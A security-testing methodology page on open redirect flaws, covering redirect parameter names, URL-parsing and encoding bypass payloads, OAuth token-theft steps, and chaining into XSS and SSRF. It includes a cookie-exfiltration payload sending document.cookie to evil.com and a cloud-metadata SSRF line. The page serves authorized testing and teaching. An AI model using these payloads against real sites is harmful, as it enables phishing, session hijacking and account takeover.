Skip to main content
CWECWE-601
WSTGWSTG-CLNT-04
MITRE ATT&CKT1566.002
CVSS Range3.1-6.1
Toolsopenredirex
Difficultybasic

Open Redirect

Open redirect vulnerabilities occur when an application incorporates user-controllable data into the target of a redirect without adequate validation. Exploitation enables credential theft via phishing, OAuth token hijacking, XSS escalation through javascript:/data: protocols, SSRF chaining when server-side fetchers follow redirects, security control bypass leveraging trusted-domain URL reputation, and SSO abuse through redirect chains in federated authentication flows.

Quick Reference

Common Redirect Parameters

Scan for these parameter names (case-insensitive) in GET, POST, cookies, and headers:

CategoryParameters
URL/URIurl, uri, path, dest, destination
Redirectredirect, redirect_uri, redirect_url, redirectUrl, redir
Returnnext, nextUrl, return, returnUrl, return_to, returnTo
Navigationgoto, go, target, link, out, jump, to
Flowcontinue, continueTo, forward, forwardTo, callback, fallback
Referenceref, referer, reference, origin, checkout
Pagesite, view, page, file, location, loc

Also check:

  • POST body parameters (same names as above)
  • Cookie values that influence redirects
  • Fragment identifiers (#) for client-side redirects
  • Base64-encoded parameter values
  • HTTP headers (Referer, X-Original-URL, X-Forwarded-Host)

Basic Open Redirect

Map Baseline Behavior

Before attempting exploitation, establish how the application handles redirects:

  1. Submit a legitimate internal redirect and observe the response:

    /redirect?url=/dashboard

    Expected: 302 with Location: /dashboard

  2. Submit a legitimate external redirect (if the app allows any):

    /redirect?url=https://legitimate-partner.com

    Expected: 302 or blocked

  3. Record response patterns:

    • HTTP status codes used (301, 302, 303, 307, 308)
    • Location header format and normalization
    • Interstitial pages or delay warnings
    • Error messages on blocked redirects
    • JavaScript-based redirects (window.location, meta refresh)

Test Initial Payloads

Test these basic payloads against every redirect parameter you find:

https://evil.com
http://evil.com
//evil.com
/\evil.com
evil.com

Positive indicators:

  • 3xx response with Location header pointing to your domain
  • JavaScript setting window.location to your domain
  • <meta http-equiv="refresh"> pointing to your domain

URL Parsing Bypass Techniques

Different URL parsers interpret ambiguous URLs differently. Exploit these inconsistencies to bypass validation.

Protocol-Relative URLs

Browsers resolve protocol-relative URLs using the current page protocol:

//evil.com
///evil.com
////evil.com

Backslash Confusion

Some servers normalize backslashes to forward slashes; some browsers interpret \/ as //:

/\evil.com
\evil.com
\/\/evil.com
//\evil.com
/\/\evil.com

URL Authority Confusion

Abuse the userinfo@host component of URLs:

https://trusted.com@evil.com
https://trusted.com:password@evil.com
https://evil.com#@trusted.com
https://evil.com?@trusted.com
https://evil.com\@trusted.com
https://evil.com%23trusted.com
https://evil.com%40trusted.com

The browser sends the request to the host after @, not before it.

IP Address Representations

Use alternate IP representations for your attacker server:

http://0x7f000001/            # Hex IP
http://2130706433/ # Decimal IP
http://017700000001/ # Octal IP
http://[::1]/ # IPv6
http://127.1/ # Abbreviated IP

Port Manipulation

https://trusted.com:443@evil.com:443
https://trusted.com:80.evil.com

Semicolon and Path Parameter Confusion

https://trusted.com/;@evil.com
https://trusted.com/legit/../../../evil.com
https://trusted.com#@evil.com

Bypass with Encoding

Single URL Encoding

%2f%2fevil.com                    # //evil.com
%2F%2Fevil.com # //evil.com (uppercase hex)
/%2fevil.com # //evil.com
//%61ttacker.com # //attacker.com ('a' encoded)

Double Encoding

When the application decodes once before validation but the server decodes again before use:

%252f%252fevil.com                # Decodes to %2f%2f, then //
%25%32%66%25%32%66evil.com # Triple-layered encoding of //
%252e%252e%252f # ../

Whitespace and Control Character Injection

//%09/evil.com                    # Tab between slashes
//%0d/evil.com # Carriage return
https://evil.com%20%20%20.trusted.com

Null Byte Injection

Null bytes can terminate string processing in some parsers while being ignored by others:

https://trusted.com%00.evil.com
https://trusted.com%00@evil.com

Unicode Normalization

Unicode characters that normalize to ASCII equivalents can bypass string matching:

https://trusted%E3%80%82com           # Unicode ideographic full stop (U+3002)
https://evil.com/%ef%bc%8f # Unicode fullwidth solidus (U+FF0F)
https://trusted%E3%80%82com@evil.com # Combined with authority confusion

CRLF Injection in Redirect

If the redirect value is placed directly into a Location header:

https://trusted.com%0d%0aLocation:%20https://evil.com

This can inject a second Location header or enable HTTP response splitting.

Exploit Protocol-Relative Redirects

Protocol-relative URLs (//evil.com) inherit the scheme of the current page. They bypass filters that check for http:// or https:// prefixes.

Test systematically:

//evil.com
///evil.com
////evil.com
https:evil.com
http:evil.com
https:/evil.com
http:/evil.com

Some parsers treat single-slash schemes (https:/evil.com) as relative paths; others resolve them as absolute URLs. Test both.

Escalate via JavaScript URIs

If the application uses the redirect value in a context where javascript: URIs execute (e.g., window.location, <a href>, <meta http-equiv="refresh">), you can escalate from open redirect to reflected XSS.

Basic JavaScript Protocol Payloads

javascript:alert(document.domain)
javascript:alert(document.cookie)

Encoded Variations

javascript:%61lert(1)             # 'a' URL-encoded
javascript:alert%281%29 # Parentheses encoded
java%0ascript:alert(1) # Newline between 'java' and 'script'
java%09script:alert(1) # Tab character
java%0dscript:alert(1) # Carriage return

Comment Trick

The // in javascript:// is treated as a JS comment. Use URL-encoded newline to break out:

javascript://comment%0aalert(1)
javascript://comment%0dalert(1)
javascript://%0aalert(1)

Case Variations

JAVASCRIPT:alert(1)
JaVaScRiPt:alert(1)
jAvAsCrIpT:alert(1)

Data Protocol

data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
data:text/html,<meta%20http-equiv="refresh"%20content="0;url=https://evil.com">

Other Protocols

Test whether the application blocks all dangerous schemes:

file:///etc/passwd
ftp://evil.com/
mailto:attacker@evil.com
tel:+1234567890

Impact: If javascript: or data: execution succeeds, reclassify the finding as reflected XSS (High/Critical), not merely open redirect.

Exploit OAuth/SSO Redirect Chains

Open redirects in OAuth and SSO flows are significantly higher severity because they enable token and authorization code theft.

OAuth redirect_uri Manipulation

Test these payloads against the redirect_uri parameter in OAuth authorization endpoints:

redirect_uri=https://evil.com
redirect_uri=https://evil.com/callback
redirect_uri=https://trusted.com@evil.com
redirect_uri=https://trusted.com.evil.com
redirect_uri=https://trusted.com%2eevil.com
redirect_uri=https://trusted.com/callback/../../../evil.com

If the provider allows wildcard subdomain matching (*.trusted.com):

redirect_uri=https://attacker.trusted.com/callback
redirect_uri=https://trusted.com.evil.com/callback

Full OAuth Token Theft Flow

  1. Identify the authorization endpoint and its redirect_uri validation
  2. Find a redirect_uri value the authorization server accepts that redirects to your domain
  3. Craft the authorization URL:
    /oauth/authorize?client_id=APP_ID&redirect_uri=https://trusted.com.evil.com/steal&scope=read_profile%20read_email&state=random123
  4. Victim clicks link and authorizes. Authorization code is sent to your domain:
    https://trusted.com.evil.com/steal?code=AUTH_CODE&state=random123
  5. Exchange the code for an access token:
    POST /oauth/token
    grant_type=authorization_code&code=AUTH_CODE&redirect_uri=https://trusted.com.evil.com/steal&client_id=APP_ID&client_secret=SECRET
  6. Use the access token to access victim resources

Parameter Pollution in OAuth

redirect_uri=https://trusted.com&redirect_uri=https://evil.com

Some servers take the first value; others take the last.

SSO RelayState / return_to Abuse

SAML SSO and similar flows often have redirect parameters:

/saml/login?RelayState=https://evil.com
/auth/callback?return_to=https://evil.com

Test these the same way you test standard redirect parameters.

State Parameter Injection

state=legitimate_state%0d%0aLocation:%20https://evil.com

Abuse Login/Logout Flows

Authentication flows frequently use redirect parameters to return users to their original page after login or logout.

Login Return URL

/login?next=https://evil.com
/login?return_to=https://evil.com
/login?redirect=https://evil.com

After the user authenticates, the application redirects them to the attacker-controlled URL. This is especially dangerous because:

  • The user just entered credentials, establishing trust
  • Session cookies may be transmitted if the redirect is to a subdomain
  • The post-login state may include tokens in URL fragments

Logout Redirect

/logout?redirect=https://evil.com
/logout?next=https://evil.com

The user's session is destroyed and they are sent to an attacker page that could present a fake re-login form.

POST-Based Redirects

Check login forms for hidden redirect fields:

<form action="/login" method="POST">
<input type="hidden" name="returnUrl" value="/dashboard">
</form>

Modify the hidden field value to an external URL and submit.

Some applications store the return URL in a cookie before redirecting to login. Set the cookie to your domain before initiating the login flow.

Chain with Other Vulnerabilities

Phishing Enhancement

https://bank.com/redirect?url=https://bank-secure.evil.com/login

The legitimate domain in the URL establishes trust. Email security filters whitelist the domain. The victim sees bank.com in the initial URL and proceeds. After redirect, the attacker page harvests credentials.

Evidence to collect:

  • Screenshot showing legitimate domain in initial URL
  • Proof that email filters pass the link
  • Proof that the redirect completes without interstitial

Token Theft via OAuth

See the OAuth/SSO section above. When chained, open redirect severity escalates to Critical because it enables full account takeover without passwords.

SSRF via Server-Side Redirect Following

If the target application has a server-side URL fetch feature that follows redirects:

/api/preview?url=https://trusted-cdn.com/go?url=http://169.254.169.254/latest/meta-data/

Flow:

  1. Server fetches trusted-cdn.com (passes allowlist)
  2. Server follows the redirect to the cloud metadata endpoint
  3. Cloud credentials or internal data are returned

This chains open redirect into SSRF (High/Critical).

XSS Escalation

If javascript: or data: protocols are accepted, the open redirect becomes reflected XSS:

/redirect?next=javascript:fetch('https://evil.com/log?c='+document.cookie)

This enables cookie theft, session hijacking, keylogging, and DOM manipulation in the application context.

WAF/Filter Bypass

URL reputation systems whitelist legitimate domains. An open redirect on a trusted domain lets you bypass:

  • Email spam filters
  • Corporate proxy URL categorization
  • Browser safe browsing warnings
  • WAF rules that block known-malicious domains

Bypass Validation Filters

Subdomain Matching Bypass

When validation checks if the URL contains the trusted domain:

https://trusted.com.evil.com        # Subdomain of attacker
https://trustedcom.evil.com # No dot separator
https://nottrusted.com # Different domain entirely

Suffix Matching Bypass

When validation checks if the URL ends with the trusted domain:

https://attackertrusted.com         # Ends with trusted.com
https://evil.com/trusted.com # Trusted domain in path only

Regex Escape Failures

When validation uses regex without escaping the dot:

https://trustedXcom.evil.com        # Dot not escaped in regex
https://trusted-com.evil.com # Hyphen instead of dot

Case Sensitivity Bypass

https://TRUSTED.COM@evil.com
https://TrUsTeD.cOm.evil.com

Parameter Pollution

/redirect?url=trusted.com&url=evil.com     # Last value wins?
/redirect?url=trusted.com%26url=evil.com # Encoded ampersand
/redirect?url[]=trusted.com&url[]=evil.com # Array parameters
/redirect?url=trusted.com,evil.com # Comma-separated

JSON Injection

If the parameter value is parsed as JSON:

/redirect?config={"url":"https://evil.com"}

Analyze Validation Systematically

When encountering validation, systematically determine:

  • What characters are filtered vs. allowed?
  • Is validation applied on input or after decoding?
  • Does the validation parser differ from the browser URL parser?
  • Are there normalization differences between validator and redirector?
  • Can encoding bypass the filter while preserving redirect behavior?
  • Is there a character that terminates validation but is interpreted by the browser?

Write the PoC

Required Evidence

  1. HTTP transaction: Full request and response showing the redirect (use curl -i)
  2. Browser confirmation: Screenshot or recording of the browser following the redirect
  3. Reproduction command: A curl one-liner that reproduces the issue
  4. Payload list: All working payloads and all payloads that were blocked (shows validation analysis)

Testing Safety

  • Use obviously test domains for PoC: evil.example, attacker.test, or domains you control
  • Never redirect real users to malicious content
  • For OAuth token theft PoCs, use your own test accounts
  • Document the full redirect chain, not just the final destination

Common Rejection Reasons to Avoid

  • Reporting same-origin redirects (e.g., /path) as open redirect -- external domain required
  • Not proving the redirect actually completes in a browser
  • Missing HTTP transaction evidence
  • Overstating severity without chain demonstration
  • Submitting the same root cause from different parameters as separate findings
  • Ignoring interstitial warning pages -- note them and demonstrate whether they can be bypassed

Tools

curl

# Check redirect without following
curl -i 'https://target.com/redirect?url=PAYLOAD'

# Follow redirects and show chain
curl -L -v 'https://target.com/redirect?url=PAYLOAD'

# POST-based redirect test
curl -i -X POST 'https://target.com/login' -d 'returnUrl=https://evil.com'

Browser DevTools

  • Network tab: Preserve log enabled, inspect redirect chain and Location headers
  • Console: Check for JavaScript-based redirects (window.location assignments)
  • Application tab: Inspect cookies that may store redirect destinations

Burp Suite

  • Configure to not follow redirects automatically
  • Use Intruder to fuzz redirect parameters with the payload lists above
  • Check Location header values in responses

Nuclei

Run redirect-specific templates:

nuclei -u https://target.com -t http/vulnerabilities/open-redirect/

OpenRedireX

Automated open redirect scanner for bulk parameter testing.

Generate Payload Variants

Systematically generate payload variants by combining:

  • Base payloads: https://evil.com, //evil.com, /\evil.com
  • Encoding layers: URL-encode once, twice, triple; mix encoded and plain characters
  • Authority variations: Prepend trusted.com@, append #trusted.com, embed trusted.com in path
  • Protocol variations: javascript:, data:, file:, ftp: with case permutations

Detect Client-Side Redirects

Do not limit testing to server-side 3xx redirects. Also check:

  • window.location assignments in JavaScript
  • <meta http-equiv="refresh"> tags
  • document.location modifications
  • Fragment-based (#) routing in SPAs

Prioritization

Test these first (highest real-world exploitability)

  1. Open redirect in OAuth redirect_uri -- EPSS is low for open redirects alone, but when chained with OAuth flows, it enables token theft. This is the highest-impact open redirect scenario and frequently exploited in bug bounty programs.
  2. Open redirect on login/logout flows -- Post-authentication redirects (/login?next=, /logout?redirect=) are the most common vectors. They carry session context that makes phishing more effective.
  3. Open redirect chained with SSRF -- Server-side fetchers that follow redirects can be exploited by redirecting to internal services. If the application has both SSRF and open redirect, chain them.

Test these if time permits (lower exploitability)

  1. javascript:/data: protocol injection in redirect parameters -- Escalates open redirect to XSS. Only works when the redirect value is placed in href attributes or location assignments without protocol validation.
  2. Header injection via CRLF in redirect parameters -- If the application sets Location header from user input without sanitizing newlines, inject additional headers or response splitting.
  3. Open redirect via meta refresh or JavaScript -- Client-side redirects in error pages or post-action pages. Lower impact since the redirect is visible to the user.

Skip if

  • Application does not perform any redirects based on user-supplied parameters
  • All redirects use a strict allowlist of internal paths (no external URLs accepted)
  • Open redirect is the only finding with no chaining opportunity (standalone open redirect is typically Low severity)

Asset criticality

Prioritize by chaining potential: OAuth/SSO redirect parameters (token theft) > login/logout redirects (phishing with session context) > general navigation redirects (phishing only). Open redirect value increases dramatically when it can be chained with SSRF, OAuth token theft, or XSS escalation.